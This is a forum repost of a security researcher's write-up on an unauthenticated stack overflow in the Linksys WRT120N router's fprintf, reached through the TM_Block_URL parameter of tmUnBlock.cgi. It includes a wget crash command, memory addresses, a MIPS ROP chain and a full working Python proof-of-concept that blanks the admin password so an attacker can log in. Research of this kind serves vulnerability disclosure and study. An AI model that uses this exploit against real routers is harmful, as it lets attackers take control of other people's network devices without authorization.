Jump to content
Nytro

WRT120N fprintf Stack Overflow

Recommended Posts

Posted

[h=1]WRT120N fprintf Stack Overflow[/h] By Craig | February 19, 2014 |

With a good firmware disassembly and JTAG debug access to the WRT120N, it’s time to start examining the code for more interesting bugs.

As we’ve seen previously, the WRT120N runs a Real Time Operating System. For security, the RTOS’s administrative web interface employs HTTP Basic authentication:

401_unauth.png401 Unauthorized

Most of the web pages require authentication, but there are a handful of URLs that are explicitly allowed to bypass authentication:

bypass_file_list.pngbypass_file_list(“/cgi-bin/login /images/ /login…”);

bypass_files.pngFull list of bypass files

Any request whose URL starts with one of these strings will be allowed without authentication, so they’re a good place to start hunting for bugs.

Some of these pages don’t actually exist; others exist but their request handlers don’t do anything (NULL subroutines). However, the /cgi/tmUnBlock.cgi page does have a handler that processes some user data:

cgi_tmUnblock-1024x353.pngcgi_tmUnBlock function handler

The interesting bit of code to focus on is this:

[TABLE]

[TR]

[TD=class: gutter]1

[/TD]

[TD=class: code]fprintf(request->socket, "Location %s\n\n", GetWebParam(cgi_handle, "TM_Block_URL"));

[/TD]

[/TR]

[/TABLE]

Although it at first appears benign, cgi_tmUnBlock‘s processing of the TM_Block_URL POST parameter is exploitable, thanks to a flaw in the fprintf implementation:

fprintf.pngfprintf

Yes, fprintf blindly vsprintf‘s the supplied format string and arguments to a local stack buffer of only 256 bytes.

sprintf_respect-225x300.pngRespect yourself. Don’t use sprintf.

This means that the user-supplied TM_Block_URL POST parameter will trigger a stack overflow in fprintf if it is larger than 246 (sizeof(buf) – strlen(“Location: “)) bytes:

[TABLE]

[TR]

[TD=class: gutter]1

[/TD]

[TD=class: code]$ wget --post-data="period=0&TM_Block_MAC=00:01:02:03:04:05&TM_Block_URL=$(perl -e 'print "A"x254')" http://192.168.1.1/cgi-bin/tmUnBlock.cgi

[/TD]

[/TR]

[/TABLE]

linksys_vday.pngStack trace of the crash

A simple exploit would be to overwrite some critical piece of data in memory, say, the administrative password which is stored in memory at address 0x81544AF0:

admin_password.pngAdmin password at 0x81544AF0

The administrative password is treated as a standard NULL terminated string, so if we can write even a single NULL byte at the beginning of this address, we’ll be able to log in to the router with a blank password. We just have to make sure the system continues running normally after exploitation.

Looking at fprintf‘s epilogue, both the $ra and $s0 registers are restored from the stack, meaning that we can control both of those registers when we overflow the stack:

fprintf_epilogue.pngfprintf’s function epilogue

There’s also this nifty piece of code at address 0x8031F634 that stores four NULL bytes from the $zero register to the address contained in the $s0 register:

rop1.pngFirst ROP gadget

If we use the overflow to force fprintf to return to 0x8031F634 and overwrite $s0 with the address of the administrative password (0x81544AF0), then this code will:

  • Zero out the admin password
  • Return to the return address stored on the stack (we control the stack)
  • Add 16 to the stack pointer

This last point is actually a problem. We need the system to continue normally and not crash, but if we simply return to the cgi_tmUnBlock function like fprintf was supposed to, the stack pointer will be off by 16 bytes.

Finding a useful MIPS ROP gadget that decrements the stack pointer back 16 bytes can be difficult, so we’ll take a different approach.

Looking at the address where fprintf should have returned to cgi_tmUnblock, we see that all it is doing is restoring $ra, $s1 and $s0 from the stack, then returning and adding 0×60 to the stack pointer:

cgi_tmUnblock_epilogue.pngcgi_tmUnblock function epilogue

We’ve already added 0×10 to the stack pointer, so if we can find a second ROP gadget that restores the appropriate saved values for $ra, $s1 and $s0 from the stack and adds 0×50 to the stack pointer, then that ROP gadget can be used to effectively replace cgi_tmUnblock‘s function epilogue.

There aren’t any obvious gadgets that do this directly, but there is a nice one at 0x803471B8 that is close:

rop2.pngSecond ROP gadget

This gadget only adds 0×10 to the stack pointer, but that’s not a problem; we’ll set up some additional stack frames that will force this ROP gadget return to itself five times. On the fifth iteration, the original values of $ra, $s1 and $s0 that were passed to cgi_tmUnblock will be pulled off the stack, and our ROP gadget will return to cgi_tmUnblock‘s caller:

stack.gifROP stack frames and relevant registers

With the register contents and stack having been properly restored, the system should continue running along as if nothing ever happened. Here’s some PoC code (download):

import sys

import urllib2

try:

target = sys.argv[1]

except IndexError:

print "Usage: %s <target ip>" % sys.argv[0]

sys.exit(1)

url = target + '/cgi-bin/tmUnblock.cgi'

if '://' not in url:

url = 'http://' + url

post_data = "period=0&TM_Block_MAC=00:01:02:03:04:05&TM_Block_URL="

post_data += "B" * 246 # Filler

post_data += "\x81\x54\x4A\xF0" # $s0, address of admin password in memory

post_data += "\x80\x31\xF6\x34" # $ra

post_data += "C" * 0x28 # Stack filler

post_data += "D" * 4 # ROP 1 $s0, don't care

post_data += "\x80\x34\x71\xB8" # ROP 1 $ra (address of ROP 2)

post_data += "E" * 8 # Stack filler

for i in range(0, 4):

post_data += "F" * 4 # ROP 2 $s0, don't care

post_data += "G" * 4 # ROP 2 $s1, don't care

post_data += "\x80\x34\x71\xB8" # ROP 2 $ra (address of itself)

post_data += "H" * (4-(3*(i/3))) # Stack filler; needs to be 4 bytes except for the

# last stack frame where it needs to be 1 byte (to

# account for the trailing "\n\n" and terminating

# NULL byte)

try:

req = urllib2.Request(url, post_data)

res = urllib2.urlopen(req)

except urllib2.HTTPError as e:

if e.code == 500:

print "OK"

else:

print "Received unexpected server response:", str(e)

except KeyboardInterrupt:

pass

post_exploit_response.pngLogging in with a blank password after exploitation

Arbitrary code execution is also possible, but that’s another post for another day.

Sursa: WRT120N fprintf Stack Overflow - /dev/ttyS0

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.



×
×
  • Create New...